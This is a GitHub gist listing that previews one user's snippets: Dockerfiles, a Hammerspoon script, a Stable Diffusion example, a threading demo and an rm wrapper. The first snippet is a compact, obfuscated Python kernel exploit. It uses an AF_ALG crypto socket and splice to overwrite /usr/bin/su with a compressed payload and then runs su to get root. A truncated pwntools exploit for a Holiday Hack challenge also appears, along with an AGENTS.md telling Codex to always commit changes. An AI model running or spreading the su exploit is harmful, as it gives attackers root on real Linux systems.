Skip to content

Instantly share code, notes, and snippets.

@fragmede
fragmede / gist:4fb38fb822359b8f5914127c2fe1c94f
Last active April 29, 2026 20:48
copy-fail-CVE-2026-31431/copy_fail_exp-reimport.py
#!/usr/bin/env python3
import os,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=os.pipe();n=os.splice;n(f,w,o,0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=os.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
os.system("su")
@fragmede
fragmede / rm
Last active December 30, 2025 08:18
save this as rm, make it executable, and put it somewhere that's earlier in your PATH than /bin/rm
#!/usr/bin/env sh
# save this as rm, make it executable, and put it
# in a directory that your user can't write to,
# and is earlier in your PATH than /bin.
# But don't just put it in ~/bin and move that up
# in your path. That means an attacker could manage to
# put a file called sudo in ~/bin/ and you'd give it your
# password and the attacker could turn around and elevate
# privileges = bad. :(
@fragmede
fragmede / AGENTS.md
Last active December 19, 2025 21:07
Simple agents.md for codex to commit to git, save as ~/.codex/AGENTS.md

Important Instructions

ALWAYS commit changes to git after completing any task. After making any code changes, modifications, or additions, run:

# If not in a git repository, initialize it first:
git init

# Then commit changes:
git add .
git commit -m "Description of changes"
@fragmede
fragmede / init.lua
Created April 18, 2023 11:28
Hammerspoon script that creates a new Space/virtual desktop and sticks a new Chrome window into it with ⌘⌃⌥N
-- Grab the ID for the last desktop, which is assumed to be the most recently create one
function getLargestDesktopKey()
rawSpaceNames = hs.spaces.missionControlSpaceNames()
for key, value in pairs(rawSpaceNames) do
uuid = key
end
spaceNames = rawSpaceNames[uuid]
for _, nested_table in pairs(rawSpaceNames) do
for __, value in pairs(nested_table) do
local desktopNum = string.match(value, "Desktop (%d+)")
from diffusers import StableDiffusionPipeline
pipe = StableDiffusionPipeline.from_pretrained(
"CompVis/stable-diffusion-v1-4",
use_auth_token=True
).to("mps")
prompt = "a photo of an astronaut riding a horse on mars"
image = pipe(prompt)["sample"][0]
image.save("astronaut_rides_horse.png")
@fragmede
fragmede / threader.py
Created August 14, 2016 17:20
basic threading example
import threading
import time
class Continuous(threading.Thread):
def __init__(self):
super(Continuous, self).__init__()
self.die = False
self.info = 0
def run(self):
@fragmede
fragmede / get-shell.py
Last active January 14, 2016 05:48
exploit for SG5 for SANS 2015 Holiday Hack Challenge
from pwn import *
canary = p32(0xe4ffffe4)
jmpesp = p32(0x0804936b)
command = 'whoami; ls; pwd;'
r = remote('localhost', 4242)
r.recv()
r.sendline('X')
@fragmede
fragmede / docker-cleanup.sh
Created January 13, 2016 04:02
my script to cleanup stale docker images.
#!/bin/bash
df -h /
docker rm $(docker ps -a -q)
# add -a to 'docker images' for nested but those usually fail.
docker rmi $(docker images | grep "^<none>" | awk '{print $3}' )
df -h /
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:24
32-bit Vivid Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/vivid/current/ubuntu-vivid-core-cloudimg-i386-root.tar.gz
ADD ubuntu-vivid-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:25
32-bit Precise Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/precise/current/ubuntu-precise-core-cloudimg-i386-root.tar.gz
ADD ubuntu-precise-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\